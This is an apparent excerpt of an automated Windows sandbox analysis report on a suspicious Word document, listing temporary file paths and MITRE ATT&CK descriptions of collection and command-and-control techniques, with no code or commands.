C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{33BDEDAF-FD20-43DA-A75E-5CAD44283C48}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4FA22C98-7DA0-493A-91D1-4967A9EB7810}.tmp

Windows Analysis Report
order072724.docx.doc

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre